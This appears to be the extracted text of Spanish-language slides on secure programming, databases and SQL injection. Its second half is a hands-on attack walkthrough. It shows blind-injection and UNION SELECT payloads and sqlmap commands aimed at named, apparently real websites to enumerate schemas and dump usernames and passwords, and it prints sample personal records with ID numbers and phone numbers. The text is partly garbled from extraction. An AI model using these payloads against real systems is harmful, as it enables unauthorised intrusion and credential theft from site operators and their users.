Documentos de Académico
Documentos de Profesional
Documentos de Cultura
FUNCIONALIDAD
CONFIDENCIALIDAD
INFORMACIÓN
INFORMACIÓN
USABILIDAD SEGURIDAD
INTEGRIDAD DISPONIBILIDAD
Introducción
Esperamos Computadoras y servicios optimos
Los servicios utilizan Hardware y Capas sobre
capas de Software.
Interfaz grafica de usuarios a través de un solo
click.
En cualquier lugar de esas capas de software
pueden existir errores, donde el software no
hace lo que los autores querían, o lo que el
usuario esperaba.
Estos errores puede afectar la confidencialidad,
intebridad o disponibilidad de la información{on
procesada, almacenada o transmitida.
Se suele mitigar estos riesgos con mecanismos de
seguridad perimetral como Firewalls, IDS, WAF,
entre otros, pero…
Se está atendiendo el problema ulterior?
Programación
La programación informática, es el proceso de diseñar,
codificar, depurar y mantener el código fuente de programas
computacionaleses escrito en un lenguaje de programación
determinado.
El propósito de la programación es crear programas que
exhiban un comportamiento deseado.
La programación segura es una rama de la programación
que estudia la seguridad del código y lógica desarrollada de
un software con el objetivo de evitar errores, evitando
Desbordamientos de pilas
Inadecuada estructura de datos
Falta de Control de flujo de datos
Uso de software base vulnerables.
No utilizar cirptografía, entre otros.
Databases
S.Q.L.
(Structured Query Languaje)
Bases de Datos
Repositorio de datos que mantiene una estructura organizada.
Permite mostrar diferentes vistas de su contenido, y puede ser consultada y manipulada a la vez.
•Aplicaciones Web
•Cliente Servidor
Estructura Fisica de Bases de Datos
INSTANCIA
SHARED POOL BUFFER CACHE REDO LOG
Control Files: Lista de archivos de
operaciones de la BD inclusive
Shared SQL montaje y recuperaciones de
datos.
Modelo
Entidad-Relación
Entidades y Atibutos
Las entidades son todos sujetos u objetos que juegan
Base de Métodos algún papel relevante en el sistema.
datos relacionales Cada entidad tiene características (atributos) propias,
que nos permitirán describir individualmente a cada uno
de los miembros pertenecientes a ella.
Es importante determinar una característica propia por
cada uno de ellos (registros) y para ello empleamos un
atributo de identificación.
Base de PERSONAL
Structured Query
Languaje
SQL INJECTION – Vulnerabilidad en Websites
Vulnerabilidad encontrada por deducción
Reemplazando valor designado de variable por un valor improbable.
Empleando herramientas
•SQLMAP
Muestra Esquemas,tablas y atributos o campos
48-85-100
SQL INJECTION – Accesando a B.D.
connect esquema/password@base_datos
connect logistica/logistica@base_datos
Nombre de tablas:
Usuarios
Personal
Rownu dni nombres apellidos teléfono
Empleados
m
rowid,
Nombre de campos: etc
Dni 1 09683336 Edgard Tamariz 123-4567
Codigo 2 10678685 James Hetfield 453-5687
Nombres …
Apellidos
Etc..
Ataques a Bases de Datos – CASO 1
Ataques a Bases de Datos
' or '1'='1
' or '1'='1
TABLA TAB
Rownum Tname
1 Usuarios
2 Cotizaciones
…
SQL INJECTION – Sql Comandos Basicos
http://www.devida.gob.pe/Nota_Prensa_Detalle.asp?Nota_Prensa= (Url)
485’ (Valor improbable)
+AND+(SELECT LENGTH(TNAME) (para obtener el tamaño del atributo TNAME)
FROM TAB (de la Tabla auxiliar TAB)
WHERE ROWNUM=1) (Cuando el registro sea el primero)
=13-- (Y que esa longitud obtenida sea >, < o = al tamaño de
prueba)
SQL INJECTION – Obteniendo el nombre de una Tabla
http://www.devida.gob.pe/Nota_Prensa_Detalle.asp?Nota_Prensa=485’ (URL)
+AND+(SELECT SUBSTR(TNAME,2,1) (Substraemos un carácter por cada
ubicación del nombre de la tabla)
FROM TAB (De la Tabla TAB)
WHERE ROWNUM=1) (Cuando el registro sea el primero)
=‘D’-- (Y este carácter sea igual a la letra de prueba)
PRUEBA DE CONCEPTO
' or '1'='1
' or '1'='1
http://www.creadorescolombianos.com/libros/libros.php?id=1
Forzando a un error
http://www.creadorescolombianos.com/libros/libros.php?id=1x
OBTENIENDO ESQUEMAS DE BASE DE DATOS.
sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -- dbs
OBTENIENDO TABLAS DE ESQUEMA DE BASE DE DATOS.
sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -D creadmin_database --tables
OBTENIENDO ATRIBUTOS DE TABLA SELECCIONADA
sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -D creadmin_database -T usuarios --columns
OBTENIENDO REGISTROS DE ATRIBUTOS ELEGIDOS
sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -D creadmin_database -T usuarios -C username --dump
_
OBTENIENDO REGISTROS DE ATRIBUTOS PASSWORD DE TABLA
USUARIOS
sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -D creadmin_database -T usuarios -C password --dump
Realizando la prueba del concepto…
http://www.creadorescolombianos.com/libros/libros.php?id=1
http://www.creadorescolombianos.com/libros/libros.php?id=-1+
union+select+1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,1
6+
from+usuarios
http://www.creadorescolombianos.com/libros/libros.php?id=-1+
union+select+2,2,username,password,2,2,2,2,2,2,2,2,2,2,2,2+
from+usuarios
http://www.creadorescolombianos.com/
libros/libros.php?id=-1+
union+select+2,2,username,password,
2,2,2,2,2,2,2,2,2,2,2,2+from+usuarios+where+id=2
Tenga cuidado con honey-pots mostrados como webs vulnerables…
Para evitar esto emplee un navegador actualizado.